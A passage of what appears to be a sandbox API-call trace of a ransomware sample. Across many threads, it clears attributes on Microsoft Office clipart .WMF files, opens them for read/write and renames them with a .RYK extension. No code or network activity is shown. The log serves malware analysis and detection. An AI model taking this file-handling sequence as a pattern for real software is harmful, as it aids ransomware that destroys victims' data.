	[0241.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2130
	os_tid = 0x26f0

	[0240.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF", dwFileAttributes=0x80) returned 0
	[0241.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.146] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2131
	os_tid = 0x26f4

	[0240.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF", dwFileAttributes=0x80) returned 0
	[0241.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2132
	os_tid = 0x26f8

	[0240.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF", dwFileAttributes=0x80) returned 0
	[0241.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.143] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.143] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2133
	os_tid = 0x26fc

	[0240.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF", dwFileAttributes=0x80) returned 0
	[0241.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.142] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2134
	os_tid = 0x2700

	[0240.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF", dwFileAttributes=0x80) returned 0
	[0241.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.141] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2135
	os_tid = 0x2704

	[0240.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF", dwFileAttributes=0x80) returned 0
	[0241.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.139] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2136
	os_tid = 0x2708

	[0240.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF", dwFileAttributes=0x80) returned 0
	[0241.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.138] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2137
	os_tid = 0x270c

	[0240.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF", dwFileAttributes=0x80) returned 0
	[0241.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.136] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2138
	os_tid = 0x2710

	[0240.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF", dwFileAttributes=0x80) returned 0
	[0241.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.135] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2139
	os_tid = 0x2714

	[0240.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF", dwFileAttributes=0x80) returned 0
	[0241.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2140
	os_tid = 0x2718

	[0240.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF", dwFileAttributes=0x80) returned 0
	[0241.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.073] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2141
	os_tid = 0x2724

	[0241.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", dwFileAttributes=0x80) returned 0
	[0241.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.076] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2142
	os_tid = 0x2728

	[0241.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF", dwFileAttributes=0x80) returned 0
	[0241.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2143
	os_tid = 0x272c

	[0241.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF", dwFileAttributes=0x80) returned 0
	[0241.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2144
	os_tid = 0x2730

	[0241.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF", dwFileAttributes=0x80) returned 0
	[0241.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.158] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2145
	os_tid = 0x2734

	[0241.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF", dwFileAttributes=0x80) returned 0
	[0241.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2146
	os_tid = 0x2738

	[0241.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF", dwFileAttributes=0x80) returned 0
	[0241.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2147
	os_tid = 0x273c

	[0241.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF", dwFileAttributes=0x80) returned 0
	[0241.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2148
	os_tid = 0x2740

	[0241.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF", dwFileAttributes=0x80) returned 0
	[0241.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.164] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2149
	os_tid = 0x2744

	[0241.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF", dwFileAttributes=0x80) returned 0
	[0241.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.166] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2150
	os_tid = 0x2748

	[0241.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF", dwFileAttributes=0x80) returned 0
	[0241.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2151
	os_tid = 0x274c

	[0241.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF", dwFileAttributes=0x80) returned 0
	[0241.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2152
	os_tid = 0x2750

	[0241.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF", dwFileAttributes=0x80) returned 0
	[0241.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2153
	os_tid = 0x2754

	[0241.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF", dwFileAttributes=0x80) returned 0
	[0241.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.173] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2154
	os_tid = 0x2758

	[0241.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF", dwFileAttributes=0x80) returned 0
	[0241.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0241.175] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2155
	os_tid = 0x275c

	[0241.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF", dwFileAttributes=0x80) returned 0
	[0241.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
